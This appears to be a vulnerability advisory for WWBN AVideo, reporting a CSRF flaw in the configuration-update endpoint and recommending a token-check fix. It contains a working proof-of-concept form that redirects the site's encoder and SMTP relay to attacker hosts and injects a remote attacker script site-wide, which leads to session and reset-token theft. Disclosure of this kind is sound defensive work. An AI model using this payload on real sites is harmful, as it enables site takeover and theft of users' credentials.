WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

SameSite is intentionally None. objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.

Impact primitives unlocked by a single CSRF request

• setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
• setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
• setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
• logoImgBase64 / faviconBase64 — attacker-controlled bytes are file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
• setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow_download, setSession_timeout, setAdsense, setDisable_analytics — full site policy and branding control.

PoC

1. Attacker hosts evil.html on any origin:

<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
      method="POST" enctype="application/x-www-form-urlencoded">
  <input name="contactEmail"        value="[email protected]">
  <input name="language"            value="en">
  <input name="webSiteTitle"        value="Pwned">
  <input name="description"         value="x">
  <input name="authCanComment"      value="1">
  <input name="authCanUploadVideos" value="1">
  <input name="authCanViewChart"    value="1">
  <input name="disable_analytics"   value="0">
  <input name="allow_download"      value="1">
  <input name="session_timeout"     value="3600">
  <input name="encoder_url"         value="https://attacker.example.com/Encoder/">
  <input name="smtp"                value="1">
  <input name="smtpAuth"            value="1">
  <input name="smtpSecure"          value="tls">
  <input name="smtpHost"            value="smtp.attacker.com">
  <input name="smtpUsername"        value="attacker">
  <input name="smtpPassword"        value="password">
  <input name="smtpPort"            value="587">
  <input name="head"                value='<script src="https://attacker.example.com/evil.js"></script>'>
  <input name="adsense"             value="x">
  <input name="autoplay"            value="1">
  <input name="theme"               value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>

2. Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.

3. Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response:

   {"status":"1","respnseLogo":[],"respnseFavicon":null}
   

   The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.

4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.

5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

• Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
• Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
• Credential / reset-token exfiltration via attacker-controlled SMTP relay.
• Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
• Arbitrary file write under web root via logoImgBase64 / faviconBase64.
• No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Recommended Fix

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:

// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check

Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.